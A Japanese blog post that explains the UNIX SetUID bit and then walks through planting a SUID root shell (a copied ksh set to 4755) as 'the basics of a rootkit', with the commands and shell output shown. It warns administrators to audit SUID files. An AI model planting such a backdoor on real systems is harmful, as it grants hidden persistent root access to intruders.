・SetUID とは
UNIXのファイルには、UID(ユーザーID)とGID(グループID)があり、それぞれの単位で
ファイルを参照・書き込み・実行といった権限を設定することができます。
例えば、/etc/shadowファイルはrootユーザにのみパーミッションがついていますから
一般ユーザは読み書きすることができません。
なのに passwdコマンドを使って自分のログイン・パスワードを変更、つまり shadowファイルを
書き換えることが可能です。
どうしてこんなことが可能になるんでしょう? passwdコマンドの権限を見てみましょう。
-rwsr-xr-x 1 root root 22984 1月 7 2007 /usr/bin/passwd
所有者がrootになっていて権限のところが rws となっています。
これはプログラムに所有者のUID を Set したという意味の表示で、どのユーザから実行したとしても
実行中はrootの権限で動きます。だから shadowファイルの変更もできていたんですね。
hogeというコマンドにSetUIDする場合は次のコマンドで行います。
#chmod u+s hoge もしくは #chmod 4755 hoge
さて、
世の中にはRootKitというものがありまして、これをコンパイルしてどっかに置いといて
一般ユーザで実行したらアラ不思議 root になってしまうという物です。
要するに、rootでSuIDの仕掛けを施した普通のコマンドに見えるプログラムのことですね。
では簡単に作ってみることにしましょう。
えーと・・・。
単に /bin/sh に SuID するだけです・・・。
# whoami
root ←※rootで実行します。
# cp /bin/sh /home/root99/changeroot.sh
#chmod 4755 /home/root99/changeroot.sh ←※SuIDします。
# ls -l /home/root99/changeroot.sh
-rwsr-xr-x 1 root root 722684 3月15 16:22 /home/root99/changeroot.sh*
# exit
# whoami ←※一般ユーザに戻る
root99
次に一般ユーザでこのプログラムを実行したらrootで動くはず。
# /home/root99/changeroot.sh ←※実行
changeroot.sh-3.1$
changeroot.sh-3.1$ whoami ←※ユーザを確認してみる
root99
アレっ?? 一般ユーザのままですね。
実は Linux の /bin/sh と /bin/bash には SuID した場合の対策が取られています。
手元の Unux で確認したところ、Linux 以外のshは正常にSuIDで機能しました。
#cp /bin/ksh /home/root99/chgroot.ksh
#chmod 4755 /home/root99/chgroot.ksh ←※コピーしたkshにSuID
#/home/root99/chgroot.ksh ←※実行
#
# whoami
root ←※rootになった。
上記のように、一回でもrootになることができれば、いつでもrootになれるコマンドを作ることが
できます。これが即ち rootkitの基本 。
定期的に SuIDビットの立ったファイルをチェックしてない管理者がいたとしたら、そのサーバは
知らぬ間にクラッカーの巣になっているかも知れませんよ?
※shell scriptにはセキュリティ上の理由からSuIDが正常に機能しません。
perl の場合はperl-suidperlモジュールをインストールすることで可能です。
次回は、SuID ファイルなんかチェックしても無駄無駄無駄ぁぁぁぁぁぁ!!!!
です。
0 件のコメント:
コメントを投稿